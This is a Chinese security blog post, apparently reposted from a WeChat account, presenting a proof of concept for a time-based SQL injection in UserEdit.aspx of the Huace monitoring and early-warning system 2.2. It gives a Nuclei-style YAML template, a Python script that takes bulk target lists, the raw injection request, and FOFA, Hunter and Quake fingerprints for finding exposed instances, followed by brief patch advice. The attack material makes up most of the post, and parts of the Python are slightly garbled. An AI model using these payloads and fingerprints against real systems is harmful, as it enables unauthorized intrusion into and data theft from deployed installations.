华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

admin 2024年6月23日13:51:15评论7 views字数 3139阅读10分27秒阅读模式

 

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」
id: huace-UserEdit-sqli

info:
name: 华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE
author: god
severity: high
description: 华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE
metadata:
fofa-query: icon_hash="-628229493"
tags: huace,sqli

http:
- raw:
- |+
@timeout: 30s
POST /Web/SysManage/UserEdit.aspx?&ID=1';WAITFOR+DELAY+'0:0:3'-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=3 && duration<5'
- 'status_code_1 == 200'
condition: and

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/Web/SysManage/UserEdit.aspx?&ID=1';WAITFOR+DELAY+'0:0:3'--"

start_time = time.time()
response = requests.post(attack_url, verify=False, timeout=10)
elapsed_time = time.time() - start_time

if 3 < elapsed_time < 5 and response.status_code ==200:
print(f"{RED}URL [{url}] 可能存在华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

漏洞介绍

华测监测预警系统是一种用于监测和预警的系统,它可以应用于各种领域,如环境监测、地质灾害预警、气象预报等。该系统通过收集和分析数据,提供实时的监测信息和预警提示,帮助用户及时采取措施应对潜在的风险和灾害。其UserEdit接口SQL注入漏洞。恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

资产测绘

  • 「Fofa」

icon_hash="-628229493"

  • 「Hunter」

web.icon="be8e2d43a4e9bc5ce43303ce55609199"

  • 「Quake」

favicon:"be8e2d43a4e9bc5ce43303ce55609199"

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

漏洞复现

「1、构造数据包」

POST /Web/SysManage/UserEdit.aspx?&ID=1';WAITFOR+DELAY+'0:0:3'-- HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0

「2、查看返回包响应时间」

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -poc

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

 

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月23日13:51:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE -pochttps://cn-sec.com/archives/2875728.html

发表评论

匿名网友 填写信息